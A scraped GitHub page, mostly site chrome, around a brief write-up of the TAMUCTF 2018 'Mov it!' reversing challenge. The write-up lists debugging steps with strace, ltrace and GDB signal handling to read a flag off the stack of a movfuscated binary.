<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Mov it! (Rev 250pts 54 Solves)For a complete writeup go here [https://github.com/mrchisel14/CTFs/tree/master/2018/TAMUCTF2018/movit](https://github.com/mrchisel14/CTFs/tree/master/2018/TAMUCTF2018/movit).
### Steps Taken1) Use file and the disassembly to determine this is a 32-bit ELF movfuscated binary2) Run strace and ltrace to see multiple SIGILL and SIGSEGV's thrown and multiple calls to strlen()3) Realize movfuscated code uses signals to call libary functions4) Use GDB to pass the signals to the binary rather than have GDB handle them first (handle <signal> pass)5) Run the binary in GDB and realize the flag slowly prints out on the stack as you continue the program after each signal is thrown(using peda's context menu or whatever other method you would like)6) Grab the flag from the stack when the program has printed the end curly brace, "}". |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9846:B9C6:AA7B2FB:AEF0723:64122708" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6e62d69045abbb3d082203c73bf66230f3b322ad7ea54bab49371f48a970a85a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5ODQ2OkI5QzY6QUE3QjJGQjpBRUYwNzIzOjY0MTIyNzA4IiwidmlzaXRvcl9pZCI6IjU5NDg5NDU5NjE5ODQzMzc2NzIiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="2a67d1d3bc4e0e3c4f0148c8d88942c109ec81050e68a3e38393363fa6df1e8e" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:96701284" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/f3d54684f7a2f3887ad6fd34790eebcc9dd4edfa9f7e7616e4fd5906cc927c0e/coldBug/ctfwriteups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups" /><meta name="twitter:description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/f3d54684f7a2f3887ad6fd34790eebcc9dd4edfa9f7e7616e4fd5906cc927c0e/coldBug/ctfwriteups" /><meta property="og:image:alt" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfwriteups/tamuctf2018 at master · coldBug/ctfwriteups" /><meta property="og:url" content="https://github.com/coldBug/ctfwriteups" /><meta property="og:description" content="CTF Solutions. Contribute to coldBug/ctfwriteups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/coldBug/ctfwriteups git https://github.com/coldBug/ctfwriteups.git">
<meta name="octolytics-dimension-user_id" content="23073764" /><meta name="octolytics-dimension-user_login" content="coldBug" /><meta name="octolytics-dimension-repository_id" content="96701284" /><meta name="octolytics-dimension-repository_nwo" content="coldBug/ctfwriteups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="96701284" /><meta name="octolytics-dimension-repository_network_root_nwo" content="coldBug/ctfwriteups" />
<link rel="canonical" href="https://github.com/coldBug/ctfwriteups/tree/master/tamuctf2018" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
